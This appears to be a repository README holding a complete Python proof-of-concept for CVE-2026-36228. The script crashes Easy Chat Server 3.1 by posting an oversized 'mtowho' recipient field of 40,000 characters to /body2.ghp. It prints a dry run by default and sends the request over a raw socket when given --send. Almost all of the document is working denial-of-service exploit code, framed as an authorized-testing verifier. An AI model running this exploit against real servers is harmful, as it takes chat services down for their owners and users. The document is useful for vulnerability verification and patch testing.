README.md
Rendering markdown...
#!/usr/bin/env python3
"""Benign-by-default verifier for CVE-2026-36228.
The described issue is a denial-of-service crash in Easy Chat Server 3.1 when
the chat message recipient field receives a very large value. This script
prints the generated request by default. It only sends traffic when --send is
provided against a system you own or are authorized to test.
"""
import argparse
import socket
import sys
import urllib.parse
DEFAULT_ENDPOINT = "/body2.ghp"
DEFAULT_PAYLOAD_SIZE = 40000
def encode_form(form_data: dict[str, str]) -> bytes:
parts = []
for key, value in form_data.items():
parts.append(
f"{urllib.parse.quote(key, safe='')}="
f"{urllib.parse.quote(str(value), safe='')}"
)
return "&".join(parts).encode("utf-8")
def build_body(payload_size: int, sender: str, room_id: str, message: str) -> bytes:
form_data = {
"mtowho": "A" * payload_size,
"fromuser": sender,
"RoomID": room_id,
"message": message,
"submit": "Send",
}
return encode_form(form_data)
def build_request(
host: str,
port: int,
endpoint: str,
payload_size: int,
sender: str,
room_id: str,
message: str,
cookie: str | None,
) -> bytes:
body = build_body(payload_size, sender, room_id, message)
headers = [
f"POST {endpoint} HTTP/1.1",
f"Host: {host}:{port}",
"User-Agent: CVE-2026-36228-local-verifier/1.0",
"Accept: */*",
"Accept-Language: en-us",
"Connection: close",
"Content-Type: application/x-www-form-urlencoded",
f"Content-Length: {len(body)}",
]
if cookie:
headers.append(f"Cookie: {cookie}")
headers.extend(["", ""])
return "\r\n".join(headers).encode("utf-8") + body
def send_request(host: str, port: int, request: bytes, timeout: float) -> bytes:
with socket.create_connection((host, port), timeout=timeout) as sock:
sock.sendall(request)
chunks = []
while True:
chunk = sock.recv(4096)
if not chunk:
break
chunks.append(chunk)
return b"".join(chunks)
def main() -> int:
parser = argparse.ArgumentParser(
description="Benign-by-default Easy Chat Server 3.1 CVE-2026-36228 verifier."
)
parser.add_argument("host", help="target host you own or are authorized to test")
parser.add_argument("port", type=int, help="target HTTP port, commonly 80")
parser.add_argument("--endpoint", default=DEFAULT_ENDPOINT, help="chat message endpoint")
parser.add_argument("--payload-size", type=int, default=DEFAULT_PAYLOAD_SIZE)
parser.add_argument("--sender", default="proof-user", help="authenticated sender username")
parser.add_argument("--room-id", default="1", help="chat room identifier")
parser.add_argument("--message", default="CVE-2026-36228 benign verifier")
parser.add_argument("--cookie", help="optional authenticated session cookie")
parser.add_argument("--timeout", type=float, default=5.0, help="socket timeout")
parser.add_argument(
"--send",
action="store_true",
help="send the request; without this flag the script only prints a dry run",
)
args = parser.parse_args()
if args.payload_size < 1:
print("[-] --payload-size must be positive", file=sys.stderr)
return 2
request = build_request(
args.host,
args.port,
args.endpoint,
args.payload_size,
args.sender,
args.room_id,
args.message,
args.cookie,
)
print(f"[+] Host: {args.host}:{args.port}")
print(f"[+] Endpoint: {args.endpoint}")
print(f"[+] mtowho payload size: {args.payload_size}")
print(f"[+] Request size: {len(request)} bytes")
if not args.send:
print("[+] Dry run only. Re-run with --send against an authorized lab target to transmit.")
preview = request[:1200].decode("utf-8", errors="replace")
if len(request) > 1200:
preview += "\n...[request truncated in preview]..."
print(preview)
return 0
try:
response = send_request(args.host, args.port, request, args.timeout)
except OSError as exc:
print(f"[-] Request failed or target closed the connection: {exc}", file=sys.stderr)
return 1
print("[+] Response received, first 500 bytes:")
print(response[:500].decode("utf-8", errors="replace"))
print("[+] If the target is vulnerable, the Easy Chat Server process may terminate.")
return 0
if __name__ == "__main__":
raise SystemExit(main())